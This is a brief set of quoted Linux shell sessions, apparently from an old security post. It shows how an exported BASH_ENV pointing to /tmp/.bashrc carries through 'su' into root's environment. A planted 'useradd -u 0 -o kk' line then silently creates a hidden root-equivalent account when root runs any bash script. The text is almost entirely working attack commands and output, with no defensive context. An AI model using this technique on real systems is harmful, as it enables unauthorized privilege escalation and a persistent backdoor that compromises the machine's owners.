|
| 以下是引用片段: [xiaoyu@localdomain ~]$ echo $BASH_ENV [xiaoyu@localdomain ~]$ export BASH_ENV="/tmp/.bashrc" [xiaoyu@localdomain ~]$ echo $BASH_ENV /tmp/.bashrc [xiaoyu@localdomain ~]$ cat /tmp/.bashrc #!/bin/bash echo "Hello" [xiaoyu@localdomain ~]$ ls -l -rwxrwxr-x 1 xiaoyu xiaoyu 22 2008-09-11 05:54 test.sh [xiaoyu@localdomain ~]$ cat test.sh #!/bin/bash echo "kk" [xiaoyu@localdomain ~]$ ./test.sh Hello kk |
| 以下是引用片段: [xiaoyu@localdomain ~]$ echo $BASH_ENV /tmp/.bashrc [xiaoyu@localdomain ~]$ su Password: [root@localdomain xiaoyu]# echo $BASH_ENV /tmp/.bashrc |
| 以下是引用片段: [xiaoyu@localdomain tmp]$ echo ’/usr/sbin/useradd -u 0 -o kk 2> /dev/null’ > /tmp/.bashrc [xiaoyu@localdomain tmp]$ cat /tmp/.bashrc /usr/sbin/useradd -u 0 -o kk 2> /dev/null [xiaoyu@localdomain tmp]$ grep kk /etc/passwd [xiaoyu@localdomain tmp]$ echo $BASH_ENV /tmp/.bashrc [xiaoyu@localdomain tmp]$ su Password: [root@localdomain tmp]# cd /home/xiaoyu [root@localdomain xiaoyu]# ./test.sh kk [root@localdomain xiaoyu]# grep kk /etc/passwd kk:x:0:503::/home/kk:/bin/bash [root@localdomain xiaoyu]# |
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